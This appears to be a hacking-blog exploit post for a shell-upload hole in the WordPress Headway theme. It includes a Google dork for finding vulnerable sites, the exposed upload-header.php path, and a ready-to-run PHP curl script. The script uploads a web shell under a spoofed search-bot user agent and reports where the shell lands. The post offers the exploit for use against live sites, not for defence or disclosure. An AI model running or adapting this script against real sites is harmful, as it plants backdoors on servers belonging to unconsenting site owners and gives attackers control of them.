Wordpress Headway Themes Shell Upload Vulnerability



#-Title: Wordpress Headway Themes Shell Upload Vulnerability
#-Author: Anonymously
#-Date: 10/27/2015
#- Vendor : headwaythemes. com
#- Developer : Clay Griffith
#- Link Download : headwaythemes. com/pricing/
#-Google Dork: inurl:wp-content/themes/headway-(random)
#- Tested on : Trusty Tahr
#- Fixed in ??
==========================================================================

·        Vulnerability : /wp-content/themes/headway-(random)/library/visual-editor/lib/upload-header.php 
·         When Vulnerable /home/localhost/public_html/


Proof Of Concept :


Tools Coded by Mr.MaGnoM

<?php

/*link of tool with vedio : http://magsec.blogspot.com/2015/10/wordpress-headway-upload-shell-exploit.htmlcoded by mr magnommore tools visit my blog  ==> magsec.blogspot.com  :)
so why i didnt make auto exploiter because theme headway dont have one namefor example u will filn /headway-2014/ and  /headway-2015/ or /headway-163/  , /headway-120/so is soo defficult to make auto exploiter so u must cheek firstly complet name of theme than
write it on site.com/wp-content/themes/headway(complet name)/library/visual-editor/lib/upload-header.php
shell go to  : site/wp-content/uploads/headway/header-uploads/shell is stabl for all site
that script on php for exploit site by site :/
to understand good watch video : http://magsec.blogspot.com/2015/10/wordpress-headway-upload-shell-exploit.html*/

$url="3xploi7.id"; // link here
$file="lolz.php ";   // ur shell here
$post = array('Filedata'=>"@$file") ;$ch = curl_init();curl_setopt ($ch, CURLOPT_URL, "$url");curl_setopt ($ch, CURLOPT_USERAGENT, "msnbot/1.0 (+http://search.msn.com/msnbot.htm)");curl_setopt($ch, CURLOPT_POST, true);curl_setopt($ch, CURLOPT_POSTFIELDS,$post);curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);$data = curl_exec($ch);curl_close($ch);//print $data;if($data=="1"){  echo "\nexploited\nshell : site/wp-content/uploads/headway/header-uploads/$file \n";}else{  echo "\nnot infected\n";}
?>

Shell Acces ?  Here


• Request Artikel / Lapor link rusak = here
• Join Grup Facebook = here
• Di Rekomendasikan Menggunakan Google Chrome
Previous
Next Post »
Thanks for your comment